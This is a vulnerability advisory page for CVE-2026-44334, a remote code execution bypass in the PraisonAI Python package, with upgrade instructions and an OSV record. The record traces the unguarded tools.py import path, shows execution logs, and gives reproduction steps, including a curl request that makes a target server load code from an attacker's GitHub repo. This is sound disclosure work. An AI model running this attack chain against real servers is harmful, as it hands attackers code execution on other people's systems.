CVE-2026-44334: Praisonai Remote Code Execution Vulnerability
HIGHCVE-2026-44334 is a HIGH (CVSS 8.4) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Praisonai libraries in the PyPI ecosystem. The issue involves praisonai has unauthenticated rce via `tool_override.py` (cve-2026-40287 patch bypass). Remediation is available by upgrading affected packages to version 4.6.32.
CVE-2026-44334 at a Glance
Security Impact
CVSS: 8.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-44334
To remediate this vulnerability, upgrade all affected Praisonai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install praisonai>=4.6.32
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show praisonai
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-44334, inspect your installed packages using pip:
pip show praisonai
Analyze the terminal output to locate any version of Praisonai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.32), your application is affected.
Note: The pip show praisonai command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Praisonai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-44334 Affected Praisonai Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
praisonai
|
PyPI |
≥ 4.5.139
< 4.6.32
|
4.6.32
|
References
Frequently Asked Questions
What is CVE-2026-44334?
Which Praisonai versions are affected?
What version fixes CVE-2026-44334?
Is praisonai affected?
What is the CVSS score of CVE-2026-44334?
What CWE is associated with CVE-2026-44334?
How can I check PyPI dependencies for CVE-2026-44334?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xcmw-grxf-wjhj",
"modified" : "2026-05-12T13:33:21Z",
"published" : "2026-05-06T22:08:58Z",
"aliases" : [ "CVE-2026-44334" ],
"summary" : "PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)",
"details" : "## TL;DR\n\nCVE-2026-40287's fix gated `tools.py` auto-import behind `PRAISONAI_ALLOW_LOCAL_TOOLS=true` in **two** files (`tool_resolver.py`, `api/call.py`). A **third** import sink in `praisonai/templates/tool_override.py` was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is **remotely** triggerable through `POST /v1/recipes/run` with a `recipe` value pointing at any local absolute path *or* any GitHub repo (because `SecurityConfig.allow_any_github` defaults to `True`). The attacker drops a `tools.py` next to `TEMPLATE.yaml`; the server `exec_module()`s it. No auth required by default, no environment opt-in required.\n\n## Patch coverage gap\n\nCVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:\n\n| File | Line | Gate |\n|---|---|---|\n| `praisonai/tool_resolver.py` | 77 | `if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":` |\n| `praisonai/api/call.py` | 80 | same |\n\nBut the equivalent sinks in `praisonai/templates/tool_override.py` were **not** patched:\n\n```python\n# tool_override.py - create_tool_registry_with_overrides()\n332 cwd_tools_py = Path.cwd() / \"tools.py\"\n333 if cwd_tools_py.exists():\n334 try:\n335 tools = loader.load_from_file(str(cwd_tools_py)) # <-- exec_module\n336 registry.update(tools)\n337 except Exception:\n338 pass\n339\n341 # 4. Template-local tools.py\n342 if template_dir:\n343 tools_py = Path(template_dir) / \"tools.py\"\n344 if tools_py.exists():\n345 try:\n346 tools = loader.load_from_file(str(tools_py)) # <-- exec_module\n347 registry.update(tools)\n348 except Exception:\n349 pass\n```\n\n`load_from_file` (line 84-94) ends in `spec.loader.exec_module(module)` with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.\n\n## Attack chain\n\n```\nHTTP POST /v1/recipes/run\n body: {\"recipe\": \"<abs path>\" | \"github:<owner>/<repo>/<recipe>\"}\n │\n ▼\nrecipe/serve.py:483 run_recipe(request) ← auth=none default\n │\n ▼\nrecipe/core.py:215 recipe.run(name, ...)\n │\n ▼\nrecipe/core.py:686 _load_recipe(name)\n └─ \"..\" check only; absolute paths and URIs allowed\n │\n ▼\ntemplates/loader.py:94 TemplateLoader.load(uri)\n │\n ▼\ntemplates/security.py:130 is_source_allowed(\"github:*\")\n └─ allow_any_github=True default → returns True\n │\n ▼\ntemplates/registry.py fetch repo from raw.githubusercontent.com → cache dir\n │\n ▼\ntemplates/security.py:215 validate_template_directory(cached.path)\n └─ .py is in allowed_extensions → tools.py kept\n │\n ▼\nrecipe/core.py:887 _execute_recipe(recipe_config, ...)\n │\n ▼\nrecipe/core.py:943 create_tool_registry_with_overrides(\n include_defaults=True,\n template_dir=recipe_config.path)\n │\n ▼\ntemplates/tool_override.py:341-349 load_from_file(template_dir/tools.py)\n │\n ▼\ntemplates/tool_override.py:94 spec.loader.exec_module(module) ← RCE\n```\n\nThe tool registry build runs *before* any LLM/agent step, so `OPENAI_API_KEY` and similar are not required. A recipe with an empty `workflow.steps: []` is sufficient - the payload fires during registry construction.\n\n## Confirmed execution (2026-04-25, praisonai 4.6.31)\n\n```\nSERVER stdout (PID 43784):\n Uvicorn running on http://127.0.0.1:8765\n 127.0.0.1 - POST /v1/recipes/run HTTP/1.1\n [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt\n 127.0.0.1 - \"POST /v1/recipes/run\" 500 Internal Server Error\n\nMarker file:\n pid: 43784 ← matches server PID\n argv: ['server.py'] ← server process, not exploit\n```\n\nThe 500 response is a downstream side-effect of `workflow.steps: []` failing to construct a runnable workflow; the `exec_module(tools.py)` call runs *before* that error. The attacker payload has already executed in the server process by the time the 500 is sent.\n\n## Reproduction (local-path variant)\n\nFiles under `pocs/praisonai-cve-2026-40287-bypass/`:\n\n- [evil_recipe/TEMPLATE.yaml](https://github.com/user-attachments/files/27079207/TEMPLATE.yaml) - minimal recipe metadata\n- [evil_recipe/tools.py](https://github.com/user-attachments/files/27079210/tools.py) - payload (writes a marker file in tempdir)\n- [server.py](https://github.com/user-attachments/files/27079211/server.py) - starts `praisonai.recipe.serve.create_app({})` on `127.0.0.1:8765` (default `auth: none`)\n- [exploit.py](https://github.com/user-attachments/files/27079214/exploit.py) - single POST to `/v1/recipes/run`\n\n```bash\npip install 'praisonai[serve]==4.6.31'\n\n# Terminal 1\npython server.py\n\n# Terminal 2\npython exploit.py\n```\n\nExpected: server stdout shows `[CVE-2026-40287-bypass] RCE fired.`; a `praisonai_pwn_<timestamp>.txt` file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.\n\n## Reproduction (remote GitHub variant)\n\n```bash\n# Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo)\n\ncurl -X POST http://target:8765/v1/recipes/run \\\n -H 'Content-Type: application/json' \\\n -d '{\"recipe\":\"github:<you>/poc-recipe/poc-recipe\"}'\n```\n\nNo filesystem prerequisite on the target. Triggers because `SecurityConfig.allow_any_github` (templates/security.py:30) defaults to `True`.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "praisonai"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.5.139"
}, {
"fixed" : "4.6.32"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.6.31"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xcmw-grxf-wjhj"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44334"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/MervinPraison/PraisonAI"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-g985-wjh9-qxxc"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-06T22:08:58Z",
"nvd_published_at" : "2026-05-08T14:16:46Z"
}
}